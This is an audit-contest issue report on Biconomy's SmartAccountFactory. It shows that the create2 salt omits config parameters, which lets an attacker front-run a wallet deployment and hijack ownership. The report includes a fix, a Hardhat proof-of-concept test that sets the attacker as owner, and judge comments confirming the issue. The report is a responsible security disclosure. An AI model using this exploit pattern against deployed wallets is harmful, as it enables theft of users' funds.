code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33

Vulnerability details

Issue

A deployCounterFactualWallet function in the SmartAccountFactory.sol uses create2 command to deploy a smart contract wallet with the address that can be computed before a transaction. A problem with the function is that it doesn't include the config parameters in the create2 creation salt.

That means that when a user tries to deploy a new wallet, an attacker can front-run his transaction to create a smart contract wallet with a malicious config and the same address that the user expects his smart contract to have.

One of the config parameters is named _entrypoint. When an attacker sets this parameter to his address, he can call the smart contracts wallet's setOwner function to change the wallet owner's address to his address(shown in the POC).

Impact

After trying to create wallet if a user only checks that the smart contract wallet exists with the expected address and starts using the wallet. In this case, if an attacker managed to front-run the user's transaction, an attacker can take over the contract, stealing all deposited funds.

Mitigation

Proposed mitigation is to include config parameters in the create2 salt, that way attacker can't create wallet with user expected address but different config. Example function below:

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
        bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index)), _entryPoint, _handler));
        bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
        // solhint-disable-next-line no-inline-assembly
        assembly {
            proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
        }
        require(address(proxy) != address(0), "Create2 call failed");
        // EOA + Version tracking
        emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
        BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
        isAccountExist[proxy] = true;
    }

Poc

POC below will show how attacker can set himself as the wallet's owner, when wallets entrypoint address is the attackers address.

Steps:

1. Clone the repository: git clone git@github.com:code-423n4/2023-01-biconomy.git

2. In the folder scw-contracts, run command: yarn

3. Create a scw-contracts/.secret file and enter your mnemonic

4. In the folder scw-contracts, run command: npx hardhat compile

5. Create file named walletPoc.ts in the folder the /2023-01-biconomy/scw-contracts/test/smart-wallet

6. Copy code below to created file

7. In the folder scw-contracts, run command: npx hardhat test ./test/smart-wallet/walletPoc.ts

After running poc, following logs show that owner has been changed: Owner before attack: 0x1111111111111111111111111111111111111111 Owner after attack: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266

POC code

import { ethers} from "hardhat";
import {
  SmartAccount,
  SmartAccountFactory,
} from "../../typechain";
import { ONE_ETH } from "./testUtils";

describe("Poc", async function name() {

  let baseImpl: SmartAccount;
  let walletFactory: SmartAccountFactory;
  let userSCW: any;

  beforeEach(async function() {
    const BaseImplementation = await ethers.getContractFactory("SmartAccount");
    baseImpl = await BaseImplementation.deploy();
    await baseImpl.deployed();

    const SmartAccountFactory = await ethers.getContractFactory("SmartAccountFactory");
    walletFactory = await SmartAccountFactory.deploy(baseImpl.address);
    await walletFactory.deployed();
  })

  it("Test that attacker can't change wallet's owner", async () => {

    let attacker = ethers.provider.getSigner()
    let ATTACKERS_ADDRESS = await attacker.getAddress()
    const OWNERS_ADDRESS = "0x1111111111111111111111111111111111111111"

    await walletFactory.connect(attacker).deployCounterFactualWallet(OWNERS_ADDRESS, ATTACKERS_ADDRESS, ATTACKERS_ADDRESS, 1)

    let walletAddress = await walletFactory.getAddressForCounterfactualWallet(OWNERS_ADDRESS, 1)
    userSCW = await ethers.getContractAt(
      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
      walletAddress
      );

      console.log("Owner before attack: ", await userSCW.owner())

      let calldata = userSCW.interface.encodeFunctionData("setOwner", [ATTACKERS_ADDRESS])
      await userSCW.connect(attacker).execFromEntryPoint(userSCW.address, 0, ethers.utils.arrayify(calldata), 0, ONE_ETH)

      console.log("Owner after attack: ", await userSCW.owner())
  })
})

c4-judge commented 1 year ago

gzeon-c4 marked the issue as duplicate of #460

c4-sponsor commented 1 year ago

livingrockrises marked the issue as sponsor confirmed